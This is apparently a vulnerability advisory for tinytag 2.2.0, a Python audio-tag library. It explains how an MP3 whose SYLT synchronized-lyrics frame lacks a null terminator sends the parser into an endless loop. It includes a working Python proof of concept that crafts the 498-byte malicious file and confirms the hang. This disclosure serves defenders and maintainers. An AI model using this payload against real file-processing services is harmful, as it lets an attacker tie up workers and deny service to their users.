PT-2026-60000 · Pypi · Tinytag
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
6.5
Medium
| Vector | AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H |
Summary
tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.Details
In tag
2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:TinyTag.getintinytag/tinytag.py#L144-L154loadintinytag/tinytag.py#L259-L266parse tagandparse id3v2intinytag/tinytag.py#L1059-L1092parse frameforSYLT/SLTintinytag/tinytag.py#L1316-L1318parse synced lyricsandfind string end posintinytag/tinytag.py#L1219-L1248andtinytag/tinytag.py#L1340-L1352
The root cause is that
parse synced lyrics assumes find string end pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.For single-byte encodings,
find string end pos does:python
return content.find(b'x00', start pos) + 1If no terminator exists,
content.find(...) returns -1, so the function returns 0. parse synced lyrics then does offset = end pos, which resets offset to 0 inside:python
while offset < content length:
end pos = self. find string end pos(content, encoding, offset)
value = self. decode string(encoding + content[offset:end pos]).lstrip('
')
offset = end pos
time = unpack('>I', content[offset:offset + 4])[0]Because
offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in find string end pos has the same shape: if no b'x00x00' terminator is found, it also returns 0, so the same non-progress condition applies there.SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain parse synced lyrics, so 2.2.0 is the only confirmed affected release at this time.Test environment:
- MacBook Air (Apple M2), macOS
26.3/ Darwinarm64 - Python
3.14.3 - Confirmed affected release:
tinytag 2.2.0(6f1d3060f393743c2ec34d07c0855cceed827244) - Also reproduced on current
maincommit1d23f6fe169c92c070a265f9108e295577141383
PoC
The following self-contained PoC generates a malformed
SYLT frame and passes it to TinyTag.get:python
#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO
from tinytag import TinyTag
def create malicious mp3() -> bytes:
id3 header = b"ID3" + bytes([3, 0, 0]) # ID3v2.3
encoding = b"x00" # ISO-8859-1
language = b"eng"
timestamp format = b"x02"
content type = b"x01"
descriptor = b"testx00"
lyrics data = b"A" * 50 # no null terminator in the remaining SYLT payload
frame content = (
encoding + language + timestamp format + content type + descriptor + lyrics data
)
frame = b"SYLT" + struct.pack(">I", len(frame content)) + b"x00x00" + frame content
tag size = len(frame)
synchsafe = bytearray(4)
n = tag size
for i in range(3, -1, -1):
synchsafe[i] = n & 0x7F
n >>= 7
return (
id3 header
+ bytes(synchsafe)
+ frame
+ b"xffxfbx90x00"
+ b"x00" * 413
)
def timeout handler(signum, frame) -> None:
print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
raise SystemExit(1)
signal.signal(signal.SIGALRM, timeout handler)
signal.alarm(10)
start = time.time()
try:
TinyTag.get(file obj=BytesIO(create malicious mp3()), filename="poc.mp3")
signal.alarm(0)
print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
raise
except Exception as exc:
signal.alarm(0)
print(f"Unexpected exception before timeout: {type(exc). name }: {exc}")Observed output on
2.2.0 in the environment above:text
CONFIRMED: parsing did not finish within 10.0s; external interruption was requiredImpact
An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.
In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.
Patches
Fixed in the following commits:
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Tinytag